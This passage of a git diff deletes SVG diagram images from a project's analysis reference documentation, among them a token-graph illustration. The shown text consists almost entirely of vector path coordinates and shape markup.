C442.416613,25.2076853 442.130154,25.561852 441.953071,26.030602 C441.786404,26.499352 441.703071,27.1764379 441.703071,28.0618596 L441.703071,33.077485 L440.062446,33.077485 L440.062446,33.077485 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M632.244,33.3041 L632.244,30.100975 L626.447125,30.100975 L626.447125,28.600975 L632.540875,19.944717 L633.884625,19.944717 L633.884625,28.600975 L635.6815,28.600975 L635.6815,30.100975 L633.884625,30.100975 L633.884625,33.3041 L632.244,33.3041 Z M632.244,28.600975 L632.244,22.5853424 L628.0565,28.600975 L632.244,28.600975 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="527.0889 16.85302 546.521944 16.85302 546.521944 38.679795 527.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="599.0889 16.85302 618.521944 16.85302 618.521944 38.679795 599.0889 38.679795"></polygon>
-                <line x1="618.522" y1="27.7664" x2="533.1362" y2="28.7427794" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="600.5232" y1="27.97221" x2="533.136176" y2="28.7427789" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="600.57983 32.9271 614.136532 27.8165577 600.466488 23.0173557"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.8793 12.06562 588.603726 12.06562 588.603726 43.435699 543.8793 43.435699"></polygon>
-                <path d="M560.7394,23.201904 L560.7394,21.311279 L562.380025,21.311279 L562.380025,23.201904 L560.7394,23.201904 Z M560.7394,34.670654 L560.7394,24.998779 L562.380025,24.998779 L562.380025,34.670654 L560.7394,34.670654 Z M564.227986,31.780029 L565.852986,31.530029 C565.93632,32.1758623 566.18632,32.6758623 566.602986,33.030029 C567.019653,33.373779 567.602986,33.545654 568.352986,33.545654 C569.102986,33.545654 569.660278,33.3946123 570.024861,33.092529 C570.389445,32.780029 570.571736,32.4154457 570.571736,31.998779 C570.571736,31.6341957 570.410278,31.342529 570.087361,31.123779 C569.868611,30.9779457 569.31132,30.795654 568.415486,30.576904 C567.207153,30.264404 566.368611,29.998779 565.899861,29.780029 C565.441528,29.561279 565.09257,29.2591957 564.852986,28.873779 C564.613403,28.4779457 564.493611,28.0404457 564.493611,27.561279 C564.493611,27.1341957 564.59257,26.7383623 564.790486,26.373779 C564.988403,25.998779 565.259236,25.6914873 565.602986,25.451904 C565.852986,25.264404 566.196736,25.108154 566.634236,24.983154 C567.082153,24.8477373 567.556111,24.780029 568.056111,24.780029 C568.816528,24.780029 569.483195,24.889404 570.056111,25.108154 C570.629028,25.326904 571.050903,25.623779 571.321736,25.998779 C571.602986,26.373779 571.795695,26.873779 571.899861,27.498779 L570.290486,27.717529 C570.21757,27.217529 570.004028,26.826904 569.649861,26.545654 C569.306111,26.264404 568.816528,26.123779 568.181111,26.123779 C567.420695,26.123779 566.879028,26.248779 566.556111,26.498779 C566.243611,26.748779 566.087361,27.0404457 566.087361,27.373779 C566.087361,27.5821123 566.149861,27.7748207 566.274861,27.951904 C566.410278,28.1289873 566.62382,28.2748207 566.915486,28.389404 C567.071736,28.451904 567.550903,28.592529 568.352986,28.811279 C569.519653,29.1133623 570.332153,29.3633623 570.790486,29.561279 C571.24882,29.7591957 571.608195,30.045654 571.868611,30.420654 C572.129028,30.795654 572.259236,31.264404 572.259236,31.826904 C572.259236,32.3789873 572.097778,32.8946123 571.774861,33.373779 C571.462361,33.8529457 571.004028,34.2279457 570.399861,34.498779 C569.795695,34.7591957 569.113403,34.889404 568.352986,34.889404 C567.102986,34.889404 566.144653,34.6289873 565.477986,34.108154 C564.821736,33.5873207 564.40507,32.811279 564.227986,31.780029 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M778.994,29.8041 L780.71275,29.663475 C780.83775,30.4968083 781.129417,31.1270167 781.58775,31.5541 C782.0565,31.9707667 782.619,32.1791 783.27525,32.1791 C784.066917,32.1791 784.733583,31.882225 785.27525,31.288475 C785.827333,30.694725 786.103375,29.9082667 786.103375,28.9291 C786.103375,27.9915949 785.83775,27.2520091 785.3065,26.7103424 C784.785667,26.1686757 784.098167,25.8978424 783.244,25.8978424 C782.723167,25.8978424 782.249208,26.0176341 781.822125,26.2572174 C781.395042,26.4968007 781.061708,26.8093007 780.822125,27.1947174 L779.27525,26.9915924 L780.572125,20.1322174 L787.21275,20.1322174 L787.21275,21.6947174 L781.884625,21.6947174 L781.165875,25.2884674 C781.967958,24.7259674 782.8065,24.4447174 783.6815,24.4447174 C784.848167,24.4447174 785.832542,24.8509674 786.634625,25.6634674 C787.436708,26.4655507 787.83775,27.5020116 787.83775,28.77285 C787.83775,29.9811833 787.488792,31.0280583 786.790875,31.913475 C785.926292,32.9968083 784.754417,33.538475 783.27525,33.538475 C782.066917,33.538475 781.077333,33.1999333 780.3065,32.52285 C779.535667,31.83535 779.098167,30.9291 778.994,29.8041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="647.0889 16.85302 666.521944 16.85302 666.521944 38.679795 647.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="751.0889 16.85302 770.521944 16.85302 770.521944 38.679795 751.0889 38.679795"></polygon>
-                <line x1="770.522" y1="27.7664" x2="657.38815" y2="29.5616728" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="752.5243" y1="28.052" x2="657.38813" y2="29.5616741" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="752.60284 33.00658 766.136837 27.8359944 752.445614 23.0974309"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="669.7087 10.47244 740.606344 10.47244 740.606344 41.842511 669.7087 41.842511"></polygon>
-                <path d="M681.3761,33.07748 L681.3761,24.671222 L679.922975,24.671222 L679.922975,23.405597 L681.3761,23.405597 L681.3761,22.374347 C681.3761,21.7285137 681.433392,21.2441387 681.547975,20.921222 C681.704225,20.4941387 681.980267,20.1503887 682.3761,19.889972 C682.771933,19.6295553 683.329225,19.499347 684.047975,19.499347 C684.506308,19.499347 685.016725,19.5514303 685.579225,19.655597 L685.329225,21.093097 C684.995892,21.030597 684.678183,20.999347 684.3761,20.999347 C683.8761,20.999347 683.521933,21.108722 683.3136,21.327472 C683.105267,21.5358053 683.0011,21.9316387 683.0011,22.514972 L683.0011,23.405597 L684.891725,23.405597 L684.891725,24.671222 L683.0011,24.671222 L683.0011,33.07748 L681.3761,33.07748 Z M686.153139,33.07748 L686.153139,23.405597 L687.621889,23.405597 L687.621889,24.874347 C687.996889,24.186847 688.340639,23.733722 688.653139,23.514972 C688.976055,23.296222 689.330222,23.186847 689.715639,23.186847 C690.267722,23.186847 690.830222,23.3639303 691.403139,23.718097 L690.840639,25.233722 C690.434389,24.9941387 690.033347,24.874347 689.637514,24.874347 C689.27293,24.874347 688.950014,24.983722 688.668764,25.202472 C688.387514,25.421222 688.184389,25.718097 688.059389,26.093097 C687.871889,26.6764303 687.778139,27.3170579 687.778139,28.0149796 L687.778139,33.07748 L686.153139,33.07748 L686.153139,33.07748 Z M698.693971,31.88998 C698.079388,32.4003967 697.490846,32.76498 696.928346,32.98373 C696.376263,33.1920633 695.777304,33.29623 695.131471,33.29623 C694.068971,33.29623 693.251263,33.0358133 692.678346,32.51498 C692.105429,31.9941467 691.818971,31.3326883 691.818971,30.530605 C691.818971,30.0514383 691.928346,29.6191467 692.147096,29.23373 C692.365846,28.8378967 692.647096,28.5253967 692.990846,28.29623 C693.345013,28.0566416 693.740846,27.8743474 694.178346,27.7493474 C694.490846,27.6660141 694.975221,27.5826807 695.631471,27.4993474 C696.954388,27.3430974 697.928346,27.1555974 698.553346,26.9368474 C698.563763,26.7076807 698.568971,26.5670557 698.568971,26.5149724 C698.568971,25.8483057 698.412721,25.3743474 698.100221,25.0930974 C697.683554,24.7285141 697.058554,24.5462224 696.225221,24.5462224 C695.454388,24.5462224 694.886679,24.6816391 694.522096,24.9524724 C694.157513,25.2233057 693.886679,25.6972641 693.709596,26.3743474 L692.100221,26.1555974 C692.246054,25.4785141 692.485638,24.9316391 692.818971,24.5149724 C693.152304,24.0878891 693.636679,23.7597641 694.272096,23.5305974 C694.907513,23.3014307 695.636679,23.1868474 696.459596,23.1868474 C697.292929,23.1868474 697.964804,23.2858057 698.475221,23.4837224 C698.996054,23.6712224 699.376263,23.9160141 699.615846,24.2180974 C699.865846,24.5097641 700.037721,24.8795557 700.131471,25.3274724 C700.183554,25.6087224 700.209596,26.1139307 700.209596,26.8430974 L700.209596,29.030605 C700.209596,30.5514383 700.246054,31.51498 700.318971,31.92123 C700.391888,32.3170633 700.527304,32.70248 700.725221,33.07748 L699.022096,33.07748 C698.845013,32.73373 698.735638,32.3378967 698.693971,31.88998 Z M698.553346,28.218105 C697.959596,28.468105 697.068971,28.6764383 695.881471,28.843105 C695.204388,28.936855 694.725221,29.04623 694.443971,29.17123 C694.162721,29.29623 693.943971,29.4733133 693.787721,29.70248 C693.641888,29.9316467 693.568971,30.1920633 693.568971,30.48373 C693.568971,30.92123 693.735638,31.2858133 694.068971,31.57748 C694.402304,31.8691467 694.886679,32.01498 695.522096,32.01498 C696.147096,32.01498 696.704388,31.8795633 697.193971,31.60873 C697.693971,31.32748 698.058554,30.9472717 698.287721,30.468105 C698.464804,30.093105 698.553346,29.54623 698.553346,28.82748 L698.553346,28.218105 Z M702.444642,33.874355 L704.038392,34.10873 C704.111309,34.60873 704.298809,34.968105 704.600892,35.1868474 C705.007142,35.4889383 705.564434,35.63998 706.272767,35.63998 C707.033184,35.63998 707.616517,35.4889383 708.022767,35.1868474 C708.439434,34.8847717 708.720684,34.4628967 708.866517,33.92123 C708.949851,33.5878967 708.986309,32.8847717 708.975892,31.811855 C708.267559,32.655605 707.376934,33.07748 706.304017,33.07748 C704.970684,33.07748 703.939434,32.5983133 703.210267,31.63998 C702.481101,30.6816467 702.116517,29.530605 702.116517,28.1868474 C702.116517,27.2597666 702.283184,26.4055974 702.616517,25.6243474 C702.960267,24.8430974 703.444642,24.2441391 704.069642,23.8274724 C704.705059,23.4003891 705.455059,23.1868474 706.319642,23.1868474 C707.455059,23.1868474 708.392559,23.6451807 709.132142,24.5618474 L709.132142,23.4055974 L710.647767,23.4055974 L710.647767,31.7649804 C710.647767,33.2753971 710.491517,34.3431054 710.179017,34.9681054 C709.876934,35.5931054 709.392559,36.0878971 708.725892,36.4524804 C708.069642,36.8170637 707.251934,36.9993554 706.272767,36.9993554 C705.126934,36.9993554 704.194642,36.7389387 703.475892,36.2181054 C702.767559,35.7076887 702.423809,34.9264387 702.444642,33.8743554 L702.444642,33.874355 Z M703.804017,28.061855 C703.804017,29.3326883 704.054017,30.2597717 704.554017,30.843105 C705.064434,31.4264383 705.699851,31.718105 706.460267,31.718105 C707.210267,31.718105 707.840476,31.4316467 708.350892,30.85873 C708.861309,30.2753967 709.116517,29.3639383 709.116517,28.124355 C709.116517,26.9368499 708.850892,26.0462224 708.319642,25.4524724 C707.798809,24.8483057 707.168601,24.5462224 706.429017,24.5462224 C705.699851,24.5462224 705.080059,24.8430974 704.569642,25.4368474 C704.059226,26.0201807 703.804017,26.8951833 703.804017,28.061855 Z M713.132874,21.6087224 L713.132874,19.7180974 L714.773499,19.7180974 L714.773499,21.6087224 L713.132874,21.6087224 Z M713.132874,33.0774804 L713.132874,23.4055974 L714.773499,23.4055974 L714.773499,33.0774804 L713.132874,33.0774804 Z M717.230836,33.0774804 L717.230836,19.7180974 L718.871461,19.7180974 L718.871461,33.0774804 L717.230836,33.0774804 Z M728.047547,29.9681054 L729.735047,30.1712304 C729.464214,31.1608137 728.969422,31.9316471 728.250672,32.4837304 C727.531922,33.0253971 726.610047,33.2962304 725.485047,33.2962304 C724.06838,33.2962304 722.94338,32.8639387 722.110047,31.9993554 C721.28713,31.1243554 720.875672,29.9003971 720.875672,28.3274804 C720.875672,26.6920587 721.292339,25.4264311 722.125672,24.5305978 C722.969422,23.6347645 724.057964,23.1868478 725.391297,23.1868478 C726.682964,23.1868478 727.735047,23.6295561 728.547547,24.5149728 C729.370464,25.3899728 729.781922,26.6243503 729.781922,28.2181054 C729.781922,28.3222721 729.781922,28.4681054 729.781922,28.6556054 L722.563172,28.6556054 C722.625672,29.7181054 722.927755,30.5358137 723.469422,31.1087304 C724.011089,31.6712304 724.682964,31.9524804 725.485047,31.9524804 C726.089214,31.9524804 726.604839,31.7962304 727.031922,31.4837304 C727.459005,31.1608137 727.797547,30.6556054 728.047547,29.9681054 Z M722.656922,27.3118478 L728.063172,27.3118478 C727.990255,26.4993478 727.781922,25.8899728 727.438172,25.4837228 C726.917339,24.8483061 726.240255,24.5305978 725.406922,24.5305978 C724.656922,24.5305978 724.021505,24.7858061 723.500672,25.2962228 C722.990255,25.7962228 722.709005,26.4680978 722.656922,27.3118478 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <line x1="330.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="312.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="312.52197 32.7216 326.136258 27.7664 312.52197 22.8112074"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="229.4882 10.47244 300.385844 10.47244 300.385844 41.842511 229.4882 41.842511"></polygon>
-                <path d="M242.8374,33.07748 L242.8374,23.405597 L244.30615,23.405597 L244.30615,24.780597 C245.014483,23.718097 246.040525,23.186847 247.384275,23.186847 C247.967608,23.186847 248.504067,23.2910137 248.99365,23.499347 C249.483233,23.7076803 249.847817,23.983722 250.0874,24.327472 C250.3374,24.6608053 250.509275,25.061847 250.603025,25.530597 C250.665525,25.8326803 250.696775,26.3639303 250.696775,27.124347 L250.696775,33.07748 L249.05615,33.07748 L249.05615,27.186847 C249.05615,26.5201803 248.988442,26.0253887 248.853025,25.702472 C248.728025,25.3691387 248.504067,25.1035137 248.18115,24.905597 C247.858233,24.7076803 247.478025,24.608722 247.040525,24.608722 C246.342608,24.608722 245.738442,24.8326803 245.228025,25.280597 C244.728025,25.718097 244.478025,26.5566387 244.478025,27.796222 L244.478025,33.07748 L242.8374,33.07748 L242.8374,33.07748 Z M259.525632,31.88998 C258.911049,32.4003967 258.322507,32.76498 257.760007,32.98373 C257.207924,33.1920633 256.608965,33.29623 255.963132,33.29623 C254.900632,33.29623 254.082924,33.0358133 253.510007,32.51498 C252.93709,31.9941467 252.650632,31.3326883 252.650632,30.530605 C252.650632,30.0514383 252.760007,29.6191467 252.978757,29.23373 C253.197507,28.8378967 253.478757,28.5253967 253.822507,28.29623 C254.176674,28.0566416 254.572507,27.8743474 255.010007,27.7493474 C255.322507,27.6660141 255.806882,27.5826807 256.463132,27.4993474 C257.786049,27.3430974 258.760007,27.1555974 259.385007,26.9368474 C259.395424,26.7076807 259.400632,26.5670557 259.400632,26.5149724 C259.400632,25.8483057 259.244382,25.3743474 258.931882,25.0930974 C258.515215,24.7285141 257.890215,24.5462224 257.056882,24.5462224 C256.286049,24.5462224 255.71834,24.6816391 255.353757,24.9524724 C254.989174,25.2233057 254.71834,25.6972641 254.541257,26.3743474 L252.931882,26.1555974 C253.077715,25.4785141 253.317299,24.9316391 253.650632,24.5149724 C253.983965,24.0878891 254.46834,23.7597641 255.103757,23.5305974 C255.739174,23.3014307 256.46834,23.1868474 257.291257,23.1868474 C258.12459,23.1868474 258.796465,23.2858057 259.306882,23.4837224 C259.827715,23.6712224 260.207924,23.9160141 260.447507,24.2180974 C260.697507,24.5097641 260.869382,24.8795557 260.963132,25.3274724 C261.015215,25.6087224 261.041257,26.1139307 261.041257,26.8430974 L261.041257,29.030605 C261.041257,30.5514383 261.077715,31.51498 261.150632,31.92123 C261.223549,32.3170633 261.358965,32.70248 261.556882,33.07748 L259.853757,33.07748 C259.676674,32.73373 259.567299,32.3378967 259.525632,31.88998 Z M259.385007,28.218105 C258.791257,28.468105 257.900632,28.6764383 256.713132,28.843105 C256.036049,28.936855 255.556882,29.04623 255.275632,29.17123 C254.994382,29.29623 254.775632,29.4733133 254.619382,29.70248 C254.473549,29.9316467 254.400632,30.1920633 254.400632,30.48373 C254.400632,30.92123 254.567299,31.2858133 254.900632,31.57748 C255.233965,31.8691467 255.71834,32.01498 256.353757,32.01498 C256.978757,32.01498 257.536049,31.8795633 258.025632,31.60873 C258.525632,31.32748 258.890215,30.9472717 259.119382,30.468105 C259.296465,30.093105 259.385007,29.54623 259.385007,28.82748 L259.385007,28.218105 Z M263.588834,33.07748 L263.588834,23.405597 L265.057584,23.405597 L265.057584,24.764972 C265.359667,24.2858053 265.760709,23.905597 266.260709,23.624347 C266.771126,23.3326803 267.344042,23.186847 267.979459,23.186847 C268.698209,23.186847 269.286751,23.3378887 269.745084,23.639972 C270.203417,23.9316387 270.526334,24.343097 270.713834,24.874347 C271.484667,23.749347 272.479459,23.186847 273.698209,23.186847 C274.666959,23.186847 275.406542,23.452472 275.916959,23.983722 C276.437792,24.514972 276.698209,25.3326803 276.698209,26.436847 L276.698209,33.07748 L275.057584,33.07748 L275.057584,26.983722 C275.057584,26.327472 275.005501,25.858722 274.901334,25.577472 C274.797167,25.2858053 274.604459,25.0514303 274.323209,24.874347 C274.041959,24.6972637 273.713834,24.608722 273.338834,24.608722 C272.661751,24.608722 272.099251,24.8378887 271.651334,25.296222 C271.203417,25.7441387 270.979459,26.4628887 270.979459,27.452472 L270.979459,33.07748 L269.338834,33.07748 L269.338834,26.796222 C269.338834,26.0670553 269.203417,25.5201803 268.932584,25.155597 C268.661751,24.7910137 268.224251,24.608722 267.620084,24.608722 C267.161751,24.608722 266.734667,24.7285137 266.338834,24.968097 C265.943001,25.2076803 265.656542,25.561847 265.479459,26.030597 C265.312792,26.499347 265.229459,27.1764329 265.229459,28.0618546 L265.229459,33.07748 L263.588834,33.07748 L263.588834,33.07748 Z M285.754636,29.968105 L287.442136,30.17123 C287.171303,31.1608133 286.676511,31.9316467 285.957761,32.48373 C285.239011,33.0253967 284.317136,33.29623 283.192136,33.29623 C281.775469,33.29623 280.650469,32.8639383 279.817136,31.999355 C278.994219,31.124355 278.582761,29.9003967 278.582761,28.32748 C278.582761,26.6920583 278.999428,25.4264307 279.832761,24.5305974 C280.676511,23.6347641 281.765053,23.1868474 283.098386,23.1868474 C284.390053,23.1868474 285.442136,23.6295557 286.254636,24.5149724 C287.077553,25.3899724 287.489011,26.6243499 287.489011,28.218105 C287.489011,28.3222717 287.489011,28.468105 287.489011,28.655605 L280.270261,28.655605 C280.332761,29.718105 280.634844,30.5358133 281.176511,31.10873 C281.718178,31.67123 282.390053,31.95248 283.192136,31.95248 C283.796303,31.95248 284.311928,31.79623 284.739011,31.48373 C285.166094,31.1608133 285.504636,30.655605 285.754636,29.968105 Z M280.364011,27.3118474 L285.770261,27.3118474 C285.697344,26.4993474 285.489011,25.8899724 285.145261,25.4837224 C284.624428,24.8483057 283.947344,24.5305974 283.114011,24.5305974 C282.364011,24.5305974 281.728594,24.7858057 281.207761,25.2962224 C280.697344,25.7962224 280.416094,26.4680974 280.364011,27.3118474 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="512.8058 54.17213 512.8058 111.858257 24.8058 111.858257 24.8058 51.431972"></polyline>
-                <polyline id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round" points="512.8058 72.17212 512.8058 111.858262 24.8058 111.858262 24.8058 51.431977"></polyline>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="517.761 72.17213 512.8058 58.557826 507.8506 72.17213"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="227.93665 94.56168 298.834294 94.56168 298.834294 125.931767 227.93665 125.931767"></polygon>
-                <path d="M255.84567,117.16672 L255.84567,115.94797 C255.241503,116.906303 254.340462,117.38547 253.142545,117.38547 C252.371712,117.38547 251.663378,117.171928 251.017545,116.744845 C250.371712,116.317762 249.871712,115.724012 249.517545,114.963595 C249.163378,114.203178 248.986295,113.328178 248.986295,112.338595 C248.986295,111.369845 249.147753,110.494845 249.47067,109.713595 C249.793587,108.921928 250.272753,108.317762 250.90817,107.901095 C251.554003,107.484428 252.277962,107.276095 253.080045,107.276095 C253.663378,107.276095 254.179003,107.401095 254.62692,107.651095 C255.085253,107.890678 255.455045,108.208387 255.736295,108.60422 L255.736295,103.807345 L257.37692,103.807345 L257.37692,117.16672 L255.84567,117.16672 Z M250.673795,112.338595 C250.673795,113.578178 250.934212,114.505262 251.455045,115.119845 C251.975878,115.734428 252.590462,116.04172 253.298795,116.04172 C254.017545,116.04172 254.62692,115.750053 255.12692,115.16672 C255.62692,114.57297 255.87692,113.677137 255.87692,112.47922 C255.87692,111.156303 255.621712,110.187553 255.111295,109.57297 C254.600878,108.94797 253.97067,108.63547 253.22067,108.63547 C252.50192,108.63547 251.897753,108.932345 251.40817,109.526095 C250.918587,110.119845 250.673795,111.057345 250.673795,112.338595 Z M259.955777,117.16672 L259.955777,107.494845 L261.424527,107.494845 L261.424527,108.869845 C262.13286,107.807345 263.158902,107.276095 264.502652,107.276095 C265.085985,107.276095 265.622444,107.380262 266.112027,107.588595 C266.60161,107.796928 266.966194,108.07297 267.205777,108.41672 C267.455777,108.750053 267.627652,109.151095 267.721402,109.619845 C267.783902,109.921928 267.815152,110.453178 267.815152,111.213595 L267.815152,117.16672 L266.174527,117.16672 L266.174527,111.276095 C266.174527,110.609428 266.106819,110.114637 265.971402,109.79172 C265.846402,109.458387 265.622444,109.192762 265.299527,108.994845 C264.97661,108.796928 264.596402,108.69797 264.158902,108.69797 C263.460985,108.69797 262.856819,108.921928 262.346402,109.369845 C261.846402,109.807345 261.596402,110.645887 261.596402,111.88547 L261.596402,117.16672 L259.955777,117.16672 Z M269.675229,114.276095 L271.300229,114.026095 C271.383562,114.671928 271.633562,115.171928 272.050229,115.526095 C272.466896,115.869845 273.050229,116.04172 273.800229,116.04172 C274.550229,116.04172 275.107521,115.890678 275.472104,115.588595 C275.836687,115.276095 276.018979,114.911512 276.018979,114.494845 C276.018979,114.130262 275.857521,113.838595 275.534604,113.619845 C275.315854,113.474012 274.758562,113.29172 273.862729,113.07297 C272.654396,112.76047 271.815854,112.494845 271.347104,112.276095 C270.888771,112.057345 270.539812,111.755262 270.300229,111.369845 C270.060646,110.974012 269.940854,110.536512 269.940854,110.057345 C269.940854,109.630262 270.039812,109.234428 270.237729,108.869845 C270.435646,108.494845 270.706479,108.187553 271.050229,107.94797 C271.300229,107.76047 271.643979,107.60422 272.081479,107.47922 C272.529396,107.343803 273.003354,107.276095 273.503354,107.276095 C274.263771,107.276095 274.930437,107.38547 275.503354,107.60422 C276.076271,107.82297 276.498146,108.119845 276.768979,108.494845 C277.050229,108.869845 277.242937,109.369845 277.347104,109.994845 L275.737729,110.213595 C275.664812,109.713595 275.451271,109.32297 275.097104,109.04172 C274.753354,108.76047 274.263771,108.619845 273.628354,108.619845 C272.867937,108.619845 272.326271,108.744845 272.003354,108.994845 C271.690854,109.244845 271.534604,109.536512 271.534604,109.869845 C271.534604,110.078178 271.597104,110.270887 271.722104,110.44797 C271.857521,110.625053 272.071062,110.770887 272.362729,110.88547 C272.518979,110.94797 272.998146,111.088595 273.800229,111.307345 C274.966896,111.609428 275.779396,111.859428 276.237729,112.057345 C276.696062,112.255262 277.055437,112.54172 277.315854,112.91672 C277.576271,113.29172 277.706479,113.76047 277.706479,114.32297 C277.706479,114.875053 277.545021,115.390678 277.222104,115.869845 C276.909604,116.349012 276.451271,116.724012 275.847104,116.994845 C275.242937,117.255262 274.560646,117.38547 273.800229,117.38547 C272.550229,117.38547 271.591896,117.125053 270.925229,116.60422 C270.268979,116.083387 269.852312,115.307345 269.675229,114.276095 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="15.089237 39.1447 34.522308 39.1447 34.522308 51.428163 15.089237 51.428163"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="503.08923 36.7548 522.522335 36.7548 522.522335 54.172128 503.08923 54.172128"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-qbf-ex.svg b/docs/reference/images/analysis/token-graph-qbf-ex.svg
deleted file mode 100644
index 63970673092..00000000000
--- a/docs/reference/images/analysis/token-graph-qbf-ex.svg
+++ /dev/null
@@ -1,45 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="602px" height="54px" viewBox="0 0 602 54" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="Analysis" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 